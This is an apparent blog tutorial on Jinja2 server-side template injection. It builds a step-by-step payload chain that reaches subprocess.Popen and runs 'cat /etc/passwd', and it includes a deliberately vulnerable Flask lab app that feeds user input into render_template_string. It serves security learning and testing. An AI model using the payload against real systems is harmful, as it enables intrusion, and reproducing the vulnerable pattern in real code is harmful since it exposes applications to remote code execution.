๐๐ Understanding SSTI and Building Payloads in Jinja2
Introduction
Imagine having the power to craft stunning dynamic web pages effortlessly. Sounds amazing, right? But hold on! With great power comes great responsibility, especially when it comes to securing your applications.

Jinja2 is a widely used template engine for Python web applications. It is highly flexible and provides a powerful way to render templates. However, if user inputs are not validated and escaped correctly, Jinja2 can be susceptible to SSTI attacks.
Entry Points for SSTI Attacks:
1. ๐จ๐๐ฒ๐ฟ ๐๐ป๐ฝ๐๐ ๐๐ถ๐ฒ๐น๐ฑ๐: Any user-supplied input fields, such as textboxes, search bars, or comment sections, are potential entry points.
2. ๐จ๐ฅ๐ ๐ฃ๐ฎ๐ฟ๐ฎ๐บ๐ฒ๐๐ฒ๐ฟ๐: Parameters passed in the URL query string or as part of the URL path can be exploited by attackers.
3. ๐๐ง๐ง๐ฃ ๐๐ฒ๐ฎ๐ฑ๐ฒ๐ฟ๐: Certain HTTP headers, such as โUser-Agentโ or โReferer,โ may contain user-provided data.
4. ๐๐ผ๐ผ๐ธ๐ถ๐ฒ๐: Data stored in cookies can also be manipulated by attackers to execute SSTI attacks.
5. ๐๐ผ๐ฟ๐บ ๐๐ฎ๐๐ฎ: Form submissions can carry data that might be used in templates.
6. ๐๐ถ๐น๐ฒ ๐จ๐ฝ๐น๐ผ๐ฎ๐ฑ๐: If file upload functionality is present and the uploaded files are processed by the template engine, attackers might attempt SSTI.
7. ๐๐ฎ๐๐ฎ๐ฏ๐ฎ๐๐ฒ ๐ค๐๐ฒ๐ฟ๐ถ๐ฒ๐: In some cases, templates may include dynamic data retrieved from a database.
When testing a Python app you inputed some math expression (e.g. {{7*7}}), and got it calculated (49), try to get an RCE!

๐งช SSTI Experimentation:
In a Flask application, even within a sandboxed environment, global objects are accessible. Some valuable objects include:
- {{ dict }}: Class object of the dictionary.
- {{ request }}: Object containing request information.
- {{ config }}: Useful object for Proof of Concepts.
- {{ [] }}: List object.
- {{ โโ}}: String object.

๐ฏ Objective: Code execution.
Reaching the base class object helps in recovering application-defined classes. By using __class__, the class object can be retrieved:
๐ Base class
{{ [].__class__ }} yields <class โlistโ>.

By using __base__ you can go to the base class.
{{ [].__class__.__base__ }}. This will allow to get the <class โobjectโ>

Now, listing subclasses using __subclasses__():
{{ [].__class__.__base__.__subclasses__() }}.
๐ Selecting an Object:
Picking a specific object involves specifying its index in the list:
{{ [].__class__.__base__.__subclasses__()[422] }} returns <class โSubprocess.Popenโ>.

๐ RCE
Further actions, like executing a command (e.g., โcat /etc/passwdโ), can be performed as you usually do with โpopenโ in Python.
{{ [].__class__.__base__.__subclasses__()[422](โcat /etc/passwdโ,shell=True,stdout=-1).communicate()[0].strip() }}.

๐ My social networks: https://linktr.ee/s_novoselov
P.S. If you want to play around, here is source for a page I used to prepare the screenshots. Save it and run with Python3.
from flask import Flask, request, render_template_string
app = Flask(__name__)
template_base = '''
<!DOCTYPE html>
<html>
<head>
<title>SSTI</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f2f2f2;
margin: 0;
padding: 20px;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.container {
max-width: 600px;
background-color: #fff;
border-radius: 8px;
box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);
padding: 40px;
}
h1 {
text-align: center;
color: #007bff;
}
p {
color: #666;
}
code {
display: block;
background-color: #f7f7f7;
padding: 10px;
border-radius: 4px;
margin: 10px 0;
font-family: "Courier New", monospace;
}
</style>
</head>
<body>
<div class="container">
<h1>Vulnerable to SSTI!</h1>
<form method="GET" action="/">
<input type="text" name="c" placeholder="Enter your content here" value="">
<button type="submit">Submit</button>
</form>
<div>
<h2>Your Content: </h2>
<code>%s</code>
</div>
</div>
</body>
</html>'''
@app.route("/")
def home():
if request.args.get('c'):
content = request.args.get('c')
else:
content = "Hello"
#That is very insecure
template = template_base % content
return render_template_string(template)
if __name__ == "__main__":
app.config['SECRET_KEY'] = 'VERY_SECRET_KEY123'
app.run('0.0.0.0',port=5050)